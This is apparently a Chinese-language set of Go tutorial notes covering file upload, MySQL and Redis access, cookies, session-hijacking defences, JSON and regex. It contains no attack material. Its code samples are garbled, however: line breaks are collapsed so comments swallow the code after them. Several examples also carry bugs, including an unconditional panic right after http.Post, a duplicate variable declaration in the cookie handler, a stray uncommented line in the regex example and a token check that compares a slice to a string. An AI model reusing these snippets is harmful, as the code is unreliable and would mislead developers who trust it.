表單中增加enctype="multipart/form-data"

服務端調用rParseMultipartForm,把上傳的文件存儲在內存和臨時文件中

使用r.FormFile獲取文件句柄,然后對文件進行存儲

文件的Handler時multipart.FileHeader,里面存儲了如下結構信息

type FileHeader struct {Filename stringHeader textproto.MIMEHeader// contains filtered or unexported fields }

使用go作為客戶端,來上傳文件

下面展示了客戶端如何向服務器上傳一個文件的例子，

客戶端通過multipart.Write把文件的文本流寫入一個緩存中，然后調用http的Post方法把緩存傳到服務器。

如果要添加更多字段,如:username之類的要同時寫入，可以調用multipart的WriteField方法添加字段。

package mainimport ("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os" )//上傳函數 //下面的例子詳細展示了客戶端如何向服務器上傳一個文件的例子，客戶端通過multipart.Write把文件的文本流寫入一個緩存中，然后調用http的Post方法把緩存傳到服務器。 func uploadFile(filename string, targetUrl string) error {//創建控件bodyBuf := &bytes.Buffer{}//創建一個可寫入資源,吐槽一下,multipart這個包,設計的太二筆了...bodyWrite := multipart.NewWriter(bodyBuf)//從文件中讀取數據, 創建表單文件名fileWrite, err := bodyWrite.CreateFormFile("uploadfile", filename)if err != nil {return err}//打開文件,.open的形式打開,只能用作讀取fh, err := os.Open(filename)if err != nil {return err}defer fh.Close()//ioCopy,從fh復制到fileWrite，直到到達EOF或發生錯誤,返回拷貝的字節喝遇到的第一個錯誤._, err = io.Copy(fileWrite, fh)if err != nil {return err}//返回http的請求需要的類型contentType := bodyWrite.FormDataContentType()bodyWrite.Close()//開始上傳response, err := http.Post(targetUrl, contentType, bodyBuf)panic(err)if err != nil {return err}defer response.Body.Close()responseBody, err := ioutil.ReadAll(response.Body)if err != nil {return err}fmt.Println(response.Status)fmt.Println(string(responseBody))return nil }func main() {targetUrl := "http://localhost:999/upload"//filename := "/Users/liuhao/Desktop/arraycomslice.png"filename := "/Users/liuhao/Documents/圖/0BC4C4D581D1895A6BD859FDE53FE72A.jpg"result := uploadFile(filename, targetUrl)fmt.Println(result)}

數據庫操作

Go沒有內置的驅動支持任何的數據庫，但是Go定義了database/sql接口，我們可以基于驅動接口開發相應數據庫的驅動.

Go database/sql tutorial 文檔,提供了慣用的范例及詳細的說明

database/sql接口

sql.Register 注冊數據庫驅動

使用MySQL數據庫

目前go中支持MySQL的驅動,特別多.不過都是第三方提供的.畢竟官方只提供了基礎驅動.

有的是用的官方驅動的封裝,而有的則是實現了自己的接口

當前比較流行的有下列三種:

https://github.com/go-sql-driver/mysql 支持database/sql，全部采用go寫。
https://github.com/ziutek/mymysql 支持database/sql，也支持自定義的接口，全部采用go寫。
https://github.com/Philio/GoMySQL 不支持database/sql，自定義接口，全部采用go寫。

下面主要是用第一種為例來講解,推薦以后也用這個,因為:

這個驅動比較新，維護的比較好
完全支持database/sql接口
支持keepalive，保持長連接,mymysql也支持keepalive，但不是線程安全的，這個從底層就支持了keepalive。

安裝方式:

go get -u -v github.com/go-sql-driver/mysql #可以安裝gopm,使用gopm來安裝 gopm get -u -v -g github.com/go-sql-driver/mysql

準備SQL語句

CREATE DATABASE `test` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;CREATE TABLE `userinfo` (`uid` INT(10) NOT NULL AUTO_INCREMENT,`username` VARCHAR(64) NULL DEFAULT NULL,`department` VARCHAR(64) NULL DEFAULT NULL,`created` DATE NULL DEFAULT NULL,PRIMARY KEY (`uid`) );CREATE TABLE `userdetail` (`uid` INT(10) NOT NULL DEFAULT '0',`intro` TEXT NULL,`profile` TEXT NULL,PRIMARY KEY (`uid`) );

database/sql操作MySQL數據的案例

package mainimport ("database/sql""fmt"_ "github.com/go-sql-driver/mysql" )func checkErr(err error) {if err != nil {panic(err)}}func addUserInfo() {//連接MySQL, 第一個參數是數據庫類型,第二個是數據連接方式,里面的()括號是必須的,沒有密碼就留空,格式為:用戶:密碼@tcp(鏈接:端口)/數據庫名稱?charset=utf8db, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLstmt, err := db.Prepare("insert userinfo set username=?, department=?,created=?")checkErr(err)//填充數據,執行操作res, err := stmt.Exec("nihao", "開發部", "2017-01-01")checkErr(err)//返回插入的IDid, err := res.LastInsertId()checkErr(err)fmt.Println("插入數據返回的ID:")fmt.Println(id) }func modifyUserInfo(uid string) {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLstmt, err := db.Prepare("update userinfo set username=? where uid=?")checkErr(err)//修改數據res, err := stmt.Exec("shaKaLaKa", uid)checkErr(err)//獲取受影響行數affect, err := res.RowsAffected()checkErr(err)fmt.Println("修改數據的受影響行數:")fmt.Println(affect) }func getUserInfo() {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLrows, err := db.Query("select * from userinfo")checkErr(err)//遍歷結果集for rows.Next() {var uid intvar username stringvar department stringvar created stringerr = rows.Scan(&uid, &username, &department, &created)checkErr(err)fmt.Println("查詢數據的結果集:")fmt.Println(uid, username, department, created)} }func delUserInfo(uid string) {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//拼裝SQLstmt, err := db.Prepare("delete from userinfo where uid=?")checkErr(err)//執行SQLres, err := stmt.Exec(uid)//獲取受影響行數affect, err := res.RowsAffected()checkErr(err)fmt.Println("刪除數據時返回的受影響行數")fmt.Println(affect)db.Close() }func transactionDel(uid string) {//連接MySQLdb, err := sql.Open("mysql", "root:@tcp(127.0.0.1:3306)/test?charset=utf8")checkErr(err)//開啟事務tran, err := db.Begin()checkErr(err)res, err := tran.Exec("delete from userinfo where uid=?", uid)if err != nil {tran.Rollback()panic(err)}//獲取受影響行數affect, err := res.RowsAffected()checkErr(err)//提交事務tran.Commit()//tran.Rollback()fmt.Println(affect) } func main() {uid := "3"addUserInfo()modifyUserInfo(uid)getUserInfo()//delUserInfo(uid)transactionDel(uid)}

上面用到的幾個函數:

sql.Open()函數用來打開一個注冊過的數據庫驅動，go-sql-driver中注冊了mysql這個數據庫驅動，第二個參數是DSN(Data Source Name)，它是go-sql-driver定義的一些數據庫鏈接和配置信息

user@unix(/path/to/socket)/dbname?charset=utf8 user:password@tcp(localhost:5555)/dbname?charset=utf8 user:password@/dbname user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname

db.Prepare()函數用來返回準備要執行的sql操作，然后返回準備完畢的執行狀態。
db.Prepare()帶的?和PHP的pdo中的預處理一樣,一定程度上課防止SQL注入.
db.Query()函數用來直接執行Sql返回Rows結果。
stmt.Exec()函數用來執行stmt準備好的SQL語句

使用NOSQL數據庫

Redis

Go目前支持redis的驅動有如下

go get github.com/gomodule/redigo/ (推薦)
https://github.com/go-redis/redis
https://github.com/hoisie/redis
https://github.com/alphazero/Go-Redis
https://github.com/simonz05/godis

redisgo驅動操作案例

go get -v -u go get github.com/gomodule/redigo/redis

這個操作方式太過復雜,全程使用連接池操作

package mainimport ("fmt""github.com/gomodule/redigo/redis""os""syscall""time""os/signal" )var Pool *redis.Poolfunc init() {redisHost := "www.cetest.com:6379"Pool = newPool(redisHost)closeConnect() }//重寫自帶的連接池 func newPool(server string) *redis.Pool {return &redis.Pool{MaxIdle: 3, //最大空閑連接數IdleTimeout: 240 * time.Second, //最大空閑等待時間Dial: func() (redis.Conn, error) {c, err := redis.Dial("tcp", server)if err != nil {return nil, err}return c, err},TestOnBorrow: func(c redis.Conn, t time.Time) error {_, err := c.Do("PING")return err},} }//重寫自帶的關閉方法 func closeConnect() {c := make(chan os.Signal, 1)signal.Notify(c, os.Interrupt)signal.Notify(c, syscall.SIGTERM)signal.Notify(c, syscall.SIGKILL)go func() {<-cPool.Close()os.Exit(0)}() } //重寫自帶的連接方法 func Get(key string) ([]byte, error) {conn := Pool.Get()defer conn.Close()var data []bytedata, err := redis.Bytes(conn.Do("GET", key))if err != nil {return data, fmt.Errorf("error get key %s:%v", key, err)}return data, err }func main() {test, err := Get("test")fmt.Println(test, err) }

redigo官方提供的調用方式

package mainimport ("fmt""github.com/gomodule/redigo/redis""reflect" )func checkErr(err error) {if err != nil {fmt.Println(err)panic(err)} }var conn redis.Connfunc init() {//連接到Redis,網絡連接方式,連接地址,選擇庫號connect, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))checkErr(err)conn = connect }func set(key string, value string) bool {//連接到Redis,網絡連接方式,連接地址,選擇庫號//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)//設置數據_, err := conn.Do("set", key, value)checkErr(err)//關閉連接return true }func get(key string) string {//連接到Redis//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)//獲取數據result, err := redis.String(conn.Do("get", key))checkErr(err)//關閉連接reflect.TypeOf(result)return result }func expire(key string, expire int) bool {//conn, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))//checkErr(err)result, err := conn.Do("expire", key, expire)checkErr(err)//這里因為result默認是一個interface,所以下面用了斷言,來判斷是不是一個Int//但是當result為Int的時候,返回的是一個int64value, ok := result.(int64)fmt.Println(ok)if ok {if value <= 0 {return false}}reflect.TypeOf(result)return true }func mGet(keys ...interface{}) {fmt.Println(reflect.TypeOf(keys))//這里的這個Keys后面必須要有..., 這三個點,代表將keys打散傳入,沒有三個點,代表傳入一個集合//比如下面這個args{},如果要當做多個參數同時傳入,就必須要在后面加...否則就是一個參數//var args= []interface{}{// "name",// "sex",//}result, err := redis.Strings(conn.Do("mget", keys...))checkErr(err)res_type := reflect.TypeOf(result)fmt.Printf("res type : %s \n", res_type)fmt.Printf("MGET name: %s \n", result)//return result }func lpush(values ...interface{}) {_, err := conn.Do("lpush", values)checkErr(err)fmt.Println("lpush ok") }func lpop(key string) {result, err := redis.String(conn.Do("lpop", key))checkErr(err)fmt.Printf("%s", result)fmt.Println("lpop ok")reflect.TypeOf(result) }func hset() {_, err := conn.Do("hset", "student", "name", "wd", "age", 22)checkErr(err)fmt.Println("hset ok")}func hget() {result, err := redis.Int64(conn.Do("hget", "student", "age"))checkErr(err)fmt.Printf("%s", result)fmt.Println(reflect.TypeOf(result)) }func main() {defer conn.Close()//println(set("name", "ssss"))//println(set("sex", "1111"))//println(get("name"))//println(expire("name", 2))//mGet("name", "sex")}

管道

管道操作可以理解為并發操作，并通過Send()，Flush()，Receive()三個方法實現。

客戶端可以使用send()方法一次性向服務器發送一個或多個命令，命令發送完畢時，

使用flush()方法將緩沖區的命令輸入一次性發送到服務器，

客戶端再使用Receive()方法依次按照先進先出的順序讀取所有命令操作結果。

Send：發送命令至緩沖區
Flush：清空緩沖區，將命令一次性發送至服務器
Recevie：依次讀取服務器響應結果，當讀取的命令未響應時，該操作會阻塞。

package mainimport ("fmt""github.com/gomodule/redigo/redis""reflect" )var conn redis.Conn//管道 //管道操作可以理解為并發操作，并通過Send()，Flush()，Receive()三個方法實現。 // 客戶端可以使用send()方法一次性向服務器發送一個或多個命令， // 命令發送完畢時，使用flush()方法將緩沖區的命令輸入一次性發送到服務器，客戶端再使用Receive()方法依次按照先進先出的順序讀取所有命令操作結果。 //Send：發送命令至緩沖區 //Flush：清空緩沖區，將命令一次性發送至服務器 //Recevie：依次讀取服務器響應結果，當讀取的命令未響應時，該操作會阻塞。func init() {//連接到Redis,網絡連接方式,連接地址,選擇庫號connect, err := redis.Dial("tcp", "127.0.0.1:6379", redis.DialDatabase(3))checkErr(err)conn = connect }func pipelin() {conn.Send("HSET", "student", "name", "wd", "age", "22")conn.Send("HSET", "student", "Score", "100")conn.Send("HGET", "student", "age")conn.Flush()res1, err := conn.Receive()checkErr(err)fmt.Printf("Receive res1:%v \n", res1)res2, err := conn.Receive()fmt.Printf("Receive res2:%v\n", res2)res3, err := conn.Receive()fmt.Printf("Receive res3:%s\n", res3) }func main() {defer conn.Close()//redis管道pipelin()}

事務操作

MULTI, EXEC,DISCARD和WATCH是構成Redis事務的基礎，可以通過管道功能來使用這些命令

MULTI：開啟事務
EXEC：執行事務
DISCARD：取消事務
WATCH：監視事務中的鍵變化，一旦有改變則取消事務。

package mainimport ("github.com/gomodule/redigo/redis""fmt" )func main() {conn, err := redis.Dial("tcp", "127.0.0.1:6379")if err != nil {fmt.Println("connect error :", err)return}defer conn.Close()conn.Send("MULTI")conn.Send("INCR", "aa")conn.Send("INCR", "aa")r, err := conn.Do("EXEC")fmt.Println(r) }

連接池

redis連接池是通過pool結構體實現的,下面是對源碼一點參數添加注釋：

Dial func() (Conn, error) //連接方法
MaxIdle int //最大的空閑連接數，即使沒有redis連接時依然可以保持N個空閑的連接，而不被清除，隨時處于待命狀態
MaxActive int //最大的激活連接數，同時最多有N個連接
IdleTimeout time.Duration //空閑連接等待時間，超過此時間后，空閑連接將被關閉
Wait bool //當配置項為true并且MaxActive參數有限制時候，使用Get方法等待一個連接返回給連接池

package mainimport ("github.com/gomodule/redigo/redis""fmt" )var Pool redis.Poolfunc init() {Pool = redis.Pool{MaxIdle: 16, //最大空閑連接數MaxActive: 32, //最大的激活連接數IdleTimeout: 120, //空閑連接等待時間//連接方法Dial: func() (redis.Conn, error) {return redis.Dial("tcp", "127.0.0.1:6379")},} }func main() {//通過連接池發起連接conn := Pool.Get()//執行Redis命令res, err := conn.Do("set", "name", "nihao")//打印結果fmt.Println(res, err)//執行Redis命令result, err := redis.String(conn.Do("get", "name"))fmt.Printf("%v", result)}

session處理

操作cookie

原理什么的就不說了,沒什么好說的.

go設置cookie

通過使用net/http包中的SetCookie來設置

http.Setcookie(w ResponseWriter, cookie *Cookie)

上面的w需要寫入一個response,cookie是一個struct,下面是cookie對象結構

type Cookie struct {Name stringValue stringPath stringDomain stringExpires time.TimeRawExpires string// MaxAge=0 means no 'Max-Age' attribute specified. // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' // MaxAge>0 means Max-Age attribute present and given in secondsMaxAge intSecure boolHttpOnly boolRaw stringUnparsed []string // Raw text of unparsed attribute-value pairs }

操作cookie的案例

http://localhost:999/setcookie?name=aaa&value=111

http://localhost:999/getcookie?name=aaa

http://localhost:999/gettotalcookie

package mainimport ("fmt""net/http""time" )//設置cookie func setCookie(w http.ResponseWriter, r *http.Request) {r.ParseForm()var name stringvar value stringif len(r.Form["name"]) > 0 {name = r.Form["name"][0]}if len(r.Form["value"]) > 0 {value = r.Form["value"][0]}fmt.Printf("%v---%T\n", name, name)fmt.Printf("%v---%T\n", value, value)//獲取當前時間格式 2017-07-26 15:32:04.251666 +0800 CST m=+5.348925672expiration := time.Now()fmt.Println(expiration)//在原來的基礎上增加一年,這個連在一起寫就明白了expiration := time.Now().AddDate(1, 0, 0)expiration = expiration.AddDate(1, 0, 0)fmt.Println(expiration)cookie := http.Cookie{Name: name, Value: value, Expires: expiration}http.SetCookie(w, &cookie)fmt.Fprint(w, "this is set cookie") }//獲取cookie func getCookie(w http.ResponseWriter, r *http.Request) {r.ParseForm()var name stringif len(r.Form["name"]) > 0 {name = r.Form["name"][0]}fmt.Println(name)cookie, _ := r.Cookie(name)fmt.Fprint(w, "get cookie", "\n", cookie) }//獲取所有的cookie func getTotalCookie(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, "get total cookie\n")for _, v := range r.Cookies() {fmt.Fprint(w, v.Name, "---", v.Value)}}func main() {http.HandleFunc("/setcookie", setCookie)http.HandleFunc("/getcookie", getCookie)http.HandleFunc("/gettotalcookie", getTotalCookie)err := http.ListenAndServe(":999", nil)if err != nil {panic(err)}}

操作session

目前GO沒有針對session的包,只能自己來做

//todo

防止session被劫持

sessionID的值只允許cookie設置
禁止URL重置方式設置sessionID
cookie的httponly為true,可以禁止其它人在瀏覽器獲取到該cookie信息

在頁面中添加隱藏字段,存儲token,每次提交都重新驗證該token

h := md5.New() salt:="astaxie%^7&8888" io.WriteString(h,salt+time.Now().String()) token:=fmt.Sprintf("%x",h.Sum(nil)) if r.Form["token"]!=token{//提示登錄 } sess.Set("token",token)

文本文件處理

XML處理

//todo

JSON處理

解析JSON的時候要主要JSON的字段類型,建議直接和對方約定全部使用字符串.

go的JSON包中的這個函數可以將JSON轉換為map,interface,結構體

func Unmarshal(data []byte, v interface{}) error

go的JSON包中的這個函數可以將結構體生成JSON

主要: Marshal函數只有在轉換成功的時候才會返回數據，在轉換的過程中我們需要注意幾點：

JSON對象只支持string作為key，所以要編碼一個map，那么必須是map[string]T這種類型(T是Go語言中任意的類型)
Channel, complex和function是不能被編碼成JSON的
嵌套的數據是不能編碼的，不然會讓JSON編碼進入死循環
指針在編碼的時候會輸出指針指向的內容，而空指針會輸出null

func Marshal(v interface{}) ([]byte, error)

將JSON解析到結構體

這種方式,必須要事先知道JSON的所有字段才行.因為要先定義結構體

package mainimport ("encoding/json""fmt" )type Server struct {ServerName stringServerIP string }type ServersLice struct {Servers []Server }func main() {//解析json到結構體中,這種情況需要事先知道JSON的所有字段var s ServersLicestr := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`//該函數可以解析json字符串到變量s中,這里的變量s是一個結構體json.Unmarshal([]byte(str), &s)fmt.Println(s)fmt.Println(s.Servers[0].ServerName)fmt.Println(s.Servers[0].ServerIP)}

解析到interface

這種方式不需要知道JSON的所有字段,利用interface{}可以用來存儲任意數據類型的對象的特性

JSON包中采用map[string]interface{}和[]interface{}結構來存儲任意的JSON對象和數組

Go類型和JSON類型的對應關系如下：

bool 代表 JSON booleans,
float64 代表 JSON numbers,
string 代表 JSON strings,
nil 代表 JSON null.

package mainimport ("encoding/json""fmt""reflect" )func main() {//如果不知道JSON內部的數據類型,就只能將JSON解析為接口了//因為interface{}是可存儲任意類型的//Go類型和JSON類型的對應關系如下：//bool 代表 JSON booleans,//float64 代表 JSON numbers,//string 代表 JSON strings,//nil 代表 JSON null.//b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)//聲明一個接口var f interface{}//將JSON解析到接口中,,所謂接口err := json.Unmarshal(b, &f)if err != nil {panic(err)}fmt.Println("打印F",f)//必須通過斷言的方式將interface賦值,然后才能使用m := f.(map[string]interface{})//因為JSON是有很多類型,比如可能是int也有可能是字符串,如果直接用下標取值的話我們會因為不知道數據類型出錯//所以我們通過下面的形式來遍歷一遍for k, v := range m {switch vv := v.(type) {case string:fmt.Println(k, "is string", vv)case int:fmt.Println(k, "is int", vv)case float64:fmt.Println(k, "is float64", vv)case []interface{}:fmt.Println(k, "is array")for i, j := range vv {fmt.Println(i, j)}default:fmt.Println(k, "不知道是什么類型")}//打印數據類型fmt.Println(reflect.TypeOf(m))//直接取值,可能會造成變量類型有誤而出錯,但是如果和對方商量好的話,是沒問題的fmt.Println(m["Name"])} }

將JSON解析到map中,和interface一樣

package mainimport ("fmt""encoding/json" )func main() {b := []byte(`{"IP": "127.0.0.1", "name": "sss"}`)m := make(map[string]string)//將JSON解析到map中err := json.Unmarshal(b, &m)if err != nil {panic(err)}fmt.Println("m:", m)for k, v := range m {fmt.Println(k, ":", v)}//直接取值,可能會造成變量類型有誤而出錯,但是如果和對方商量好的話,是沒問題的fmt.Println(m["IP"])}

生成JSON

主要是將結構體解析成JSON

從結構體生成的JSON有一個問題,JSON數據內的所有字段名都是首字母大寫的,這是因為我們的機構提是首字母大寫的,而如果你不是大寫的在go就是私有屬性了.

如果想要用小寫,必須要在結構體的屬性上加上struct tag

注意: 在使用struct tag的時候要注意:

字段的tag是"-"，那么這個字段不會輸出到JSON ta- g中帶有自定義名稱，那么這個自定義名稱會出現在JSON的字段名中，例如上面例子中serverName
tag中如果帶有"omitempty"選項，那么如果該字段值為空，就不會輸出到JSON串中
如果字段類型是bool, string, int, int64等，而tag中帶有",string"選項，那么這個字段在輸出到JSON的時候會把該字段對應的值轉換成JSON字符串

主要: Marshal函數只有在轉換成功的時候才會返回數據，在使用時要注意：

JSON對象只支持string作為key，所以要編碼一個map，那么必須是map[string]T這種類型(T是Go語言中任意的類型)
Channel, complex和function是不能被編碼成JSON的
嵌套的數據是不能編碼的，不然會讓JSON編碼進入死循環
指針在編碼的時候會輸出指針指向的內容，而空指針會輸出null

package mainimport ("encoding/json""fmt""os" )type Server struct {ServerName stringServerIP string }type ServerSlice struct {Servers []Server }type Server1 struct {//tag的作用//如果一個域不是以大寫字母開頭的，那么轉換成json的時候，這個域是被忽略的。//如果沒有使用json:"name"tag，那么輸出的json字段名和域名是一樣的。//字段的tag是"-"，那么這個字段不會輸出到JSONID int `json:"-"`// ServerName2 的值會進行二次JSON編碼ServerName string `json:"serverName"`ServerName2 string `json:"serverName2,string"`//tag中如果帶有"omitempty"選項，那么如果該字段值為空，就不會輸出到JSON串中ServerIP string `json:"serverIP,omitempty"` }func main() {//為結構體賦值,該結構體中的變量Servers,將成為JSON的一個下標var s ServerSlice//向結構體追加新的數據,因為是對s.Servers進行append,所以新的數據將作為s.Servers的值s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})//再次追加數據s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})//將結構體生成為JSONb, err := json.Marshal(s)if err != nil {fmt.Println("json err:", err)}fmt.Println(string(b))//輸出結果{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}//上面的方式生成的JSON的數據只能是大寫開頭的,要想生成全小寫必須要使用struct tags1 := Server1{ID: 3,ServerName: `Go "1.0" `,ServerName2: `Go "1.0" `,ServerIP: ``,}b1, _ := json.Marshal(s1)os.Stdout.Write(b1)//{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}}

正則處理

go的正則表達式和其他語言的有所不同,特別是和PHP的不同,因為go使用的時RE2標準

如果們可以使用strings包來進行搜索(Contains、Index)、替換(Replace)和解析(Split、Join)等操作,盡量不要用正則

簡單的案例

package mainimport ("fmt""regexp" )const text = ` My email is terraplanets@gmail.com email is aaa@aaa.com email is ss@sss.com email is dd@dd.com.cn `func main() {//這里填入一個正則表達式,返回一個正則表達式的匹配器,和錯誤信息//re, err := regexp.Compile("terraplanets@gmail.com")//這里和上面的一樣,不一樣的地方在于,如果表達式不對,會直接panic 一般自己寫的表達式用MustCompile(),否則用Compile()處理錯誤信息//re := regexp.MustCompile("terraplanets@gmail.com")//這里的如果要匹配'.',不把他當做一個正則表達式字符的話需要用\\.,否則會被認為是golang的轉義字符,也可以向下面那樣使用``包含字符串//中括號的中'.'不用轉義之類的操作//re := regexp.MustCompile("[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9.]+")//re := regexp.MustCompile(`[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z0-9.]+`)//子匹配re := regexp.MustCompile(`([a-zA-Z0-9]+)@([a-zA-Z0-9]+)(\.[a-zA-Z0-9.]+)`)//輸入原字符串,在源字符串中,通過正則表達式獲取符合要求的字符串//只匹配第一個,返回一個string//match := re.FindString(text)//匹配所有,返回一個list//match := re.FindAllString(text, -1)//子匹配,匹配()中的內容,返回一個二維的list,第二維里面第一個是匹配到的整個字符串,第二個是第一個(),第三個是第二給(),以此類推match := re.FindAllStringSubmatch(text, -1)//fmt.Println(match)for _, m := range match {fmt.Println(m)} }

通過正則判斷是否匹配

regexp包中含有三個函數用來判斷是否匹配，如果匹配返回true，否則返回false

下面的三個參數功能一樣,就是判斷pattern是否和輸入源匹配，匹配的話就返回true，如果解析正則出錯則返回error。

三個函數沒有不同,唯一的不同是輸入源分別是byte slice、RuneReader和string。

func Match(pattern string, b []byte) (matched bool, error error) func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) func MatchString(pattern string, s string) (matched bool, error error)

案例,判斷輸入的是否是一個IP地址

這里用,Match(Reader|String)來判斷一些字符串,非常好用非常簡單

package mainimport ("fmt""os""regexp" )func main() {//判斷命令行輸入的參數,需要通過這種方式運行,go run ./match.go 1111 不能用IDE直接運行,否則會沒有參數if len(os.Args) == 1 {fmt.Println("請輸入參數")os.Exit(1)} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {fmt.Println("數字")} else {fmt.Println("不是數字")}MatchString判斷輸入的字符串是否符合標準var ip string = "127.0.0.1"//var ip string = "127.0.0.1.11"//if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {// fmt.Println("IP地址有誤")//} else {// fmt.Println("IP地址正確")//} }

通過正則替換內容

上面的match只能用來驗證是否存在,不能用來獲取字符串

要獲取字符串要用到replace相關的正則函數

首先要使用regexp.Compile()編譯正則表達式,但這不是必須的,不過這樣可以加快運行速度

編譯正則表達式有下面幾個方法:

一般我們只用Compile

//CompilePOSIX和Compile的不同點在于POSIX必須使用POSIX語法,Linux/Unix下用的POSIX語法 //前綴有Must的函數表示，在解析正則語法的時候，如果匹配模式串不滿足正確的語法則直接panic，而不加Must的則只是返回錯誤 func Compile(expr string) (*Regexp, error) func CompilePOSIX(expr string) (*Regexp, error) func MustCompile(str string) *Regexp func MustCompilePOSIX(str string) *Regexp

替換案例

package mainimport ("fmt""io/ioutil""net/http""regexp""strings" )//這里來一個簡單的小爬蟲 func main() {//請求頁面response, err := http.Get("http://www.baidu.com")if err != nil {panic(err)}//關閉資源defer response.Body.Close()//獲取頁面內容body, err := ioutil.ReadAll(response.Body)if err != nil {panic(err)}//將body轉換為字符串content := string(body)//將所有的HTML轉換為大寫re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")//ReplaceAllStringFunc可以接受一個回調函數進去src := re.ReplaceAllStringFunc(content, strings.ToUpper)fmt.Println(src)//去掉scriptre, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")//ReplaceAllString不接收回調函數,只能純粹的替換src1 := re.ReplaceAllString(content, "")fmt.Println(src1)//去掉stylere, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")src2 := re.ReplaceAllString(content, "")fmt.Println(src2)//去除所有尖括號內的HTML代碼，并換成換行符re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")src3 := re.ReplaceAllString(content, "\n")fmt.Println(src3)//去除連續的換行符re, _ = regexp.Compile("\\s{2,}")src4 := re.ReplaceAllString(content, "\n")fmt.Println(src4)}

通過正則查找內容

常用查找函數

下面所有函數返回的都是utf8的編號,需要string()來轉換

//查找匹配到的第一個 func (re *Regexp) Find(b []byte) []byte //返回一個多維數組,查找符合正則的所有的slice,n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度 func (re *Regexp) FindAll(b []byte, n int) [][]byte //返回一個多維數組,查找符合條件的所有內容的下標,返回開始和結束位置的一個slice //n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度 func (re *Regexp) FindAllIndex(b []byte, n int) [][]int //查找所有符合條件的子匹配,返回一個多維數組 //n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度 func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte //查找所有符合條件的子匹配的index下標,返回一個多維數組 //n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度 func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int //查找符合條件的內容的的index下標,返回開始位置和結束位置的一個slice func (re *Regexp) FindIndex(b []byte) (loc []int) //返回一個多維數組，第一個元素是匹配的全部元素，第二個元素是第一個()里面的，第三個是第二個()里面的 func (re *Regexp) FindSubmatch(b []byte) [][]byte //查找符合條件的內容的子匹配的的index下標,不過這里是匹配()內的,返回開始位置和結束位置的一個slice func (re *Regexp) FindSubmatchIndex(b []byte) []int

匹配案例

package mainimport ("fmt""regexp" )func main() {str := "we are chinese"//編譯正則表達式re, _ := regexp.Compile("[a-z]{2,4}")//查找第一個匹配的one := re.Find([]byte(str))fmt.Println(string(one)) //如果不用string()會輸出utf8編號,find正則返回的都是utf8編號//返回一個多維數組,查找符合正則的所有的slice,n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度all := re.FindAll([]byte(str), -1)fmt.Println(all) //因為返回的時一個slice,所以不能用string()了,想轉換到話,需要遍歷或者用下標//查找符合條件的內容的的index下標,返回開始位置和結束位置的一個sliceindex := re.FindIndex([]byte(str))fmt.Println(index)//返回一個多維數組,查找符合條件的所有內容的下標,返回開始和結束位置的一個slice//n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度allIndex := re.FindAllIndex([]byte(str), -1)fmt.Println(allIndex)//重新編譯一個新的正則表達式re1, _ := regexp.Compile("we(.*)ch(.*)")//返回一個多維數組，第一個元素是匹配的全部元素，第二個元素是第一個()里面的，第三個是第二個()里面的submatch := re1.FindSubmatch([]byte(str))fmt.Println(submatch)//查找符合條件的內容的子匹配的的index下標,不過這里是匹配()內的,返回開始位置和結束位置的一個slicesubmatchindex := re1.FindSubmatchIndex([]byte(str))fmt.Println(submatchindex)//查找所有符合條件的子匹配,返回一個多維數組//n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度submatchall := re1.FindAllSubmatch([]byte(str), -1)fmt.Println(submatchall)//查找所有符合條件的子匹配的index下標,返回一個多維數組//n小于0標識返回全部符合條件的內容的一個slice,否則返回指定的長度submatchallindex := re1.FindAllSubmatchIndex([]byte(str), -1)fmt.Println(submatchallindex) }

該函數主要用對內容做追加補充

